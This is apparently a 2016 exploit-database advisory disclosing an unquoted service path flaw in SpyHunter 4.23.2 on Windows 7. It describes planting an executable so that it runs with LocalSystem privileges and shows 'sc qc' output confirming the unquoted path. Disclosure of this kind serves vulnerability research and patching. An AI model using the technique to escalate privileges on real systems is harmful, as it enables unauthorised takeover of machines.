######################################################################### # Exploit Title: SpyHunter Unquoted Service Path Privilege Escalation # Date: 19/10/2016 # Author: Ashiyane Digital Security Team # Vendor Homepage:http://www.enigmasoftware.com/ # Software Link: http://www.enigmasoftware.com/download/SpyHunter-Installer.exe # version : 4.23.2 (Latest) # Tested on: Windows 7 ########################################################################## SpyHunter installs a service with an unquoted service path To properly exploit this vulnerability, the local attacker must insert an executable file in the path of the service. Upon service restart or system reboot, the malicious code will be run with elevated privileges. ------------------------------------------- C:\>sc qc "SpyHunter 4 Service" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: SpyHunter 4 Service TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe LOAD_ORDER_GROUP : Base TAG : 0 DISPLAY_NAME : SpyHunter 4 Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem ##################################################### ######### Ashiyane Digital Security Team ############ ########## exploit by: Amir.ght ##################### #####################################################